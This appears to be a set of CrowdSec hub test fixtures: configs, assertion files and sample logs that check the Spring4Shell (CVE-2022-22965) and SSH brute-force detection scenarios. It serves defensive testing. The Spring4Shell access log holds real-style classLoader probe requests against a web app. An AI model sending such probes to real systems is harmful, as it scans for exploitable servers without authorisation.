results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("target_fqdn") == "mydomain.com" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-07T14:46:08+02:00" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/spring4shell_cve-2022-22965" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "spring4shell_cve-2022-22965.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_args_len") == "38" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/path/foo/?class.module.classLoader.URLs%5B0%5D=0" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.58.0" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("target_fqdn") == "mydomain.com" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-07T14:45:44+02:00" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/spring4shell_cve-2022-22965" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/spring4shell_cve-2022-22965/spring4shell_cve-2022-22965.log000066400000000000000000000004731437532772500245310ustar00rootroot00000000000000mydomain.com 1.2.3.4 - - [07/Apr/2022:14:45:44 +0200] "GET /path/foo/?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" 404 162 "-" "curl/7.58.0" "-" mydomain.com 1.2.3.5 - - [07/Apr/2022:14:46:08 +0200] "GET /path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense HTTP/1.1" 404 162 "-" "curl/7.58.0" "-" hub1/.tests/ssh-bf/000077500000000000000000000000001437532772500143365ustar00rootroot00000000000000hub1/.tests/ssh-bf/config.yaml000066400000000000000000000003211437532772500164630ustar00rootroot00000000000000parsers: - crowdsecurity/sshd-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/ssh-bf postoverflows: - "" log_file: ssh-bf.log log_type: syslog ignore_parsers: true hub1/.tests/ssh-bf/parser.assert000066400000000000000000000000001437532772500170430ustar00rootroot00000000000000hub1/.tests/ssh-bf/scenario.assert000066400000000000000000000141751437532772500173740ustar00rootroot00000000000000len(results) == 2 "35.188.49.176" in results[0].Overflow.GetSources() results[0].Overflow.Sources["35.188.49.176"].IP == "35.188.49.176" results[0].Overflow.Sources["35.188.49.176"].Range == "" results[0].Overflow.Sources["35.188.49.176"].GetScope() == "Ip" results[0].Overflow.Sources["35.188.49.176"].GetValue() == "35.188.49.176" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "ssh-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "35.188.49.176" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "pascal" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "ssh-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "35.188.49.176" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "pascal1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "ssh-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "35.188.49.176" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "pascal2" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "ssh-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "35.188.49.176" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "pascal3" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "ssh-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "35.188.49.176" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "pascal4" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "ssh-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "35.188.49.176" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "pascal5" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "35.188.49.176" in results[1].Overflow.GetSources() results[1].Overflow.Sources["35.188.49.176"].IP == "35.188.49.176" results[1].Overflow.Sources["35.188.49.176"].Range == "" results[1].Overflow.Sources["35.188.49.176"].GetScope() == "Ip" results[1].Overflow.Sources["35.188.49.176"].GetValue() == "35.188.49.176" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "ssh-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "ssh" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "35.188.49.176" results[1].Overflow.Alert.Events[0].GetMeta("target_user") == "pascal" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "ssh-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "ssh" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "35.188.49.176" results[1].Overflow.Alert.Events[1].GetMeta("target_user") == "pascal1" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "ssh-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "ssh" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "35.188.49.176" results[1].Overflow.Alert.Events[2].GetMeta("target_user") == "pascal2" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "ssh-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "ssh" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "35.188.49.176" results[1].Overflow.Alert.Events[3].GetMeta("target_user") == "pascal3" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "ssh-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "ssh" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "35.188.49.176" results[1].Overflow.Alert.Events[4].GetMeta("target_user") == "pascal4" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "ssh-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "ssh" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "35.188.49.176" results[1].Overflow.Alert.Events[5].GetMeta("target_user") == "pascal5" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/ssh-bf/ssh-bf.log000066400000000000000000000010341437532772500162210ustar00rootroot00000000000000Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal1 from 35.188.49.176 port 53502 Feb 12 14:10:22 sd-126005 sshd[16378]: Invalid user pascal2 from 35.188.49.176 port 53502 Feb 12 14:10:22 sd-126005 sshd[16378]: Invalid user pascal3 from 35.188.49.176 port 53502 Feb 12 14:10:23 sd-126005 sshd[16378]: Invalid user pascal4 from 35.188.49.176 port 53502 Feb 12 14:10:23 sd-126005 sshd[16378]: Invalid user pascal5 from 35.188.49.176 port 53502 hub1/.tests/ssh-slow-bf/000077500000000000000000000000001437532772500153205ustar00rootroot00000000000000hub1/.tests/ssh-slow-bf/config.yaml000066400000000000000000000004641437532772500174550ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/sshd-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/ssh-slow-bf #we put this one on purpose : we want only to trigger the slow-bf - crowdsecurity/ssh-bf ostoverflows: - "" log_file: ssh-slow-bf.log log_type: syslog ignore_parsers: true hub1/.tests/ssh-slow-bf/scenario.assert000066400000000000000000000124521437532772500203520ustar00rootroot00000000000000"103.100.210.198" in results[0].Overflow.GetSources() results[0].Overflow.Sources["103.100.210.198"].IP == "103.100.210.198" results[0].Overflow.Sources["103.100.210.198"].Range == "" results[0].Overflow.Sources["103.100.210.198"].GetScope() == "Ip" results[0].Overflow.Sources["103.100.210.198"].GetValue() == "103.100.210.198" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[6].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[6].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[7].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[7].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[8].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[8].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[9].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[9].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "ssh-slow-bf.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[10].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "103.100.210.198" results[0].Overflow.Alert.Events[10].GetMeta("target_user") == "hadoop" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-slow-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 20 hub1/.tests/ssh-slow-bf/ssh-slow-bf.log000066400000000000000000000041261437532772500201720ustar00rootroot00000000000000Sep 30 12:11:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:12:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:12:30 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:13:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:13:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:14:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:14:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:15:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:15:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:16:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:16:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:17:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:17:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:18:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:18:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:19:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:19:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:20:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:20:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:21:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:21:33 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 Sep 30 12:22:00 ip-172-31-43-28 sshd[22789]: Invalid user hadoop from 103.100.210.198 port 56762 hub1/.tests/sshd-invalid-bf/000077500000000000000000000000001437532772500161265ustar00rootroot00000000000000hub1/.tests/sshd-invalid-bf/config.yaml000066400000000000000000000003771437532772500202660ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/sshd-logs.yaml scenarios: - crowdsecurity/ssh-bf postoverflows: - "" log_file: sshd-invalid-bf.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/sshd-invalid-bf/parser.assert000066400000000000000000000567431437532772500206640ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 59402 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "2651912" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Jan 24 15:32:31" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "server" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 38260 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "2654543" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Jan 24 15:32:32" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "server" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 45326 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "2657307" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Jan 24 15:32:33" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "server" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "2660116" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Jan 24 15:32:34" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 52414 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "server" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Jan 24 15:32:35" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 59502 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "2662890" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "server" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "2665707" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Jan 24 15:32:36" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 38346 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "server" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" len(results["s01-parse"]["crowdsecurity/sshd-logs"]) == 6 results["s01-parse"]["crowdsecurity/sshd-logs"][0].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["pid"] == "2651912" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["timestamp"] == "Jan 24 15:32:31" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 59402 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["machine"] == "server" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["source_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 38260 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["pid"] == "2654543" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["timestamp"] == "Jan 24 15:32:32" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["machine"] == "server" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["source_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["timestamp"] == "Jan 24 15:32:33" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 45326 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["pid"] == "2657307" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["machine"] == "server" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["source_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["timestamp"] == "Jan 24 15:32:34" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["logsource"] == "syslog" 